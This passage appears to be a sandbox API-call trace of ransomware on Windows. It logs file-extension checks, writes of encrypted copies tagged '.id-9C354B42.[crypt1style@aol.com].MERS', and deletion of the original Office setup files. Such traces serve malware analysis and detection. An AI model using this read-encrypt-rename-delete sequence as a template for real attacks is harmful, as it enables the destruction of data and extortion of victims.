[0039.737] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0039.737] lstrlenW (lpString=".7z") returned 3 [0039.737] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0039.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0039.737] lstrlenW (lpString=".dbf") returned 4 [0039.737] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0039.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0039.737] lstrlenW (lpString=".1cd") returned 4 [0039.737] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0039.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0039.737] lstrlenW (lpString=".jpg") returned 4 [0039.737] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0039.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0039.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0039.737] lstrlenW (lpString=".doc") returned 4 [0039.737] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0039.737] lstrlenW (lpString=".docx") returned 5 [0039.737] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0039.738] lstrlenW (lpString=".pdf") returned 4 [0039.738] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0039.738] lstrlenW (lpString=".xls") returned 4 [0039.738] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0039.738] lstrlenW (lpString=".xlsx") returned 5 [0039.738] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0039.738] lstrlenW (lpString=".ppt") returned 4 [0039.738] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0039.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0039.738] lstrlenW (lpString=".zip") returned 4 [0039.738] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0039.738] lstrlenW (lpString=".rar") returned 4 [0039.738] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0039.738] lstrlenW (lpString=".bz2") returned 4 [0039.738] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0039.738] lstrlenW (lpString=".7z") returned 3 [0039.738] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0039.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0039.738] lstrlenW (lpString=".dbf") returned 4 [0039.738] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0039.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0039.738] lstrlenW (lpString=".1cd") returned 4 [0039.738] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0039.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0039.738] lstrlenW (lpString=".jpg") returned 4 [0039.738] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0039.738] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0039.738] lstrlenW (lpString="ipscsy.xml") returned 10 [0039.738] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.204] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=2556) returned 1 [0040.204] CloseHandle (hObject=0x1e8) returned 1 [0040.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0040.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0040.204] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0040.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0040.204] lstrlenW (lpString=".doc") returned 4 [0040.204] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.204] lstrlenW (lpString=".docx") returned 5 [0040.205] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0040.205] lstrlenW (lpString=".pdf") returned 4 [0040.205] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.205] lstrlenW (lpString=".xls") returned 4 [0040.205] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.205] lstrlenW (lpString=".xlsx") returned 5 [0040.205] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1 [0040.205] lstrlenW (lpString=".ppt") returned 4 [0040.205] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0040.205] lstrlenW (lpString=".zip") returned 4 [0040.205] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.205] lstrlenW (lpString=".rar") returned 4 [0040.205] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.205] lstrlenW (lpString=".bz2") returned 4 [0040.205] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.205] lstrlenW (lpString=".7z") returned 3 [0040.205] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0040.205] lstrlenW (lpString=".dbf") returned 4 [0040.205] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0040.206] lstrlenW (lpString=".1cd") returned 4 [0040.206] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0040.206] lstrlenW (lpString=".jpg") returned 4 [0040.206] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0040.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0040.208] lstrlenW (lpString=".doc") returned 4 [0040.208] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.208] lstrlenW (lpString=".docx") returned 5 [0040.208] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0040.208] lstrlenW (lpString=".pdf") returned 4 [0040.208] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.208] lstrlenW (lpString=".xls") returned 4 [0040.208] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.208] lstrlenW (lpString=".xlsx") returned 5 [0040.208] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1 [0040.208] lstrlenW (lpString=".ppt") returned 4 [0040.208] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0040.208] lstrlenW (lpString=".zip") returned 4 [0040.208] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.208] lstrlenW (lpString=".rar") returned 4 [0040.208] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.209] lstrlenW (lpString=".bz2") returned 4 [0040.209] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.209] lstrlenW (lpString=".7z") returned 3 [0040.209] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0040.209] lstrlenW (lpString=".dbf") returned 4 [0040.209] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0040.209] lstrlenW (lpString=".1cd") returned 4 [0040.209] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0040.209] lstrlenW (lpString=".jpg") returned 4 [0040.209] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.209] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0040.209] lstrlenW (lpString="AccessMUI.XML") returned 13 [0040.209] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.210] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1349) returned 1 [0040.210] CloseHandle (hObject=0x1e8) returned 1 [0040.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 0x20 [0040.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0040.210] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.210] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.211] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0040.211] GetLastError () returned 0x0 [0040.211] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x545, lpOverlapped=0x0) returned 1 [0040.264] WriteFile (in: hFile=0x1c0, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x550, lpOverlapped=0x0) returned 1 [0040.265] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.265] WriteFile (in: hFile=0x1c0, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xee, lpOverlapped=0x0) returned 1 [0040.265] SetEndOfFile (hFile=0x1c0) returned 1 [0040.265] CloseHandle (hObject=0x1c0) returned 1 [0040.266] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.266] SetEndOfFile (hFile=0x1e8) returned 1 [0040.266] CloseHandle (hObject=0x1e8) returned 1 [0040.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0040.267] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 1 [0040.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0040.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0040.455] lstrlenW (lpString=".doc") returned 4 [0040.455] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.455] lstrlenW (lpString=".docx") returned 5 [0040.455] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0040.455] lstrlenW (lpString=".pdf") returned 4 [0040.455] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.455] lstrlenW (lpString=".xls") returned 4 [0040.455] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.455] lstrlenW (lpString=".xlsx") returned 5 [0040.455] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0040.455] lstrlenW (lpString=".ppt") returned 4 [0040.455] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0040.455] lstrlenW (lpString=".zip") returned 4 [0040.455] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.455] lstrlenW (lpString=".rar") returned 4 [0040.455] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.455] lstrlenW (lpString=".bz2") returned 4 [0040.455] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.455] lstrlenW (lpString=".7z") returned 3 [0040.455] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0040.455] lstrlenW (lpString=".dbf") returned 4 [0040.455] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0040.455] lstrlenW (lpString=".1cd") returned 4 [0040.455] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0040.456] lstrlenW (lpString=".jpg") returned 4 [0040.456] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0040.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0040.456] lstrlenW (lpString=".doc") returned 4 [0040.456] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.456] lstrlenW (lpString=".docx") returned 5 [0040.456] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0040.456] lstrlenW (lpString=".pdf") returned 4 [0040.456] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.456] lstrlenW (lpString=".xls") returned 4 [0040.456] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.456] lstrlenW (lpString=".xlsx") returned 5 [0040.456] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0040.456] lstrlenW (lpString=".ppt") returned 4 [0040.456] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0040.456] lstrlenW (lpString=".zip") returned 4 [0040.456] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.456] lstrlenW (lpString=".rar") returned 4 [0040.456] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.456] lstrlenW (lpString=".bz2") returned 4 [0040.456] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.456] lstrlenW (lpString=".7z") returned 3 [0040.456] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0040.456] lstrlenW (lpString=".dbf") returned 4 [0040.456] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0040.456] lstrlenW (lpString=".1cd") returned 4 [0040.456] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0040.456] lstrlenW (lpString=".jpg") returned 4 [0040.456] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.457] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0040.457] lstrlenW (lpString="SETUP.XML") returned 9 [0040.457] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0040.457] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=2624) returned 1 [0040.457] CloseHandle (hObject=0x1c0) returned 1 [0040.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 0x20 [0040.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0040.458] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0040.458] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.458] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.458] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0040.458] GetLastError () returned 0x0 [0040.458] ReadFile (in: hFile=0x1c0, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0xa40, lpOverlapped=0x0) returned 1 [0040.482] WriteFile (in: hFile=0x1c4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0040.483] ReadFile (in: hFile=0x1c0, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.483] WriteFile (in: hFile=0x1c4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.483] SetEndOfFile (hFile=0x1c4) returned 1 [0040.484] CloseHandle (hObject=0x1c4) returned 1 [0040.484] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.484] SetEndOfFile (hFile=0x1c0) returned 1 [0040.485] CloseHandle (hObject=0x1c0) returned 1 [0040.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0040.486] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 1 [0040.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0040.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0040.486] lstrlenW (lpString=".doc") returned 4 [0040.486] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.486] lstrlenW (lpString=".docx") returned 5 [0040.486] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.486] lstrlenW (lpString=".pdf") returned 4 [0040.486] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.486] lstrlenW (lpString=".xls") returned 4 [0040.486] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.486] lstrlenW (lpString=".xlsx") returned 5 [0040.486] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.486] lstrlenW (lpString=".ppt") returned 4 [0040.486] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0040.486] lstrlenW (lpString=".zip") returned 4 [0040.486] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.486] lstrlenW (lpString=".rar") returned 4 [0040.486] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.486] lstrlenW (lpString=".bz2") returned 4 [0040.486] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.486] lstrlenW (lpString=".7z") returned 3 [0040.486] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0040.487] lstrlenW (lpString=".dbf") returned 4 [0040.487] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0040.487] lstrlenW (lpString=".1cd") returned 4 [0040.487] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0040.487] lstrlenW (lpString=".jpg") returned 4 [0040.487] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0040.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0040.487] lstrlenW (lpString=".doc") returned 4 [0040.487] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.487] lstrlenW (lpString=".docx") returned 5 [0040.487] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.487] lstrlenW (lpString=".pdf") returned 4 [0040.487] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.487] lstrlenW (lpString=".xls") returned 4 [0040.487] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.487] lstrlenW (lpString=".xlsx") returned 5 [0040.487] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.487] lstrlenW (lpString=".ppt") returned 4 [0040.487] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0040.487] lstrlenW (lpString=".zip") returned 4 [0040.487] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.487] lstrlenW (lpString=".rar") returned 4 [0040.487] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.488] lstrlenW (lpString=".bz2") returned 4 [0040.488] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.488] lstrlenW (lpString=".7z") returned 3 [0040.488] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 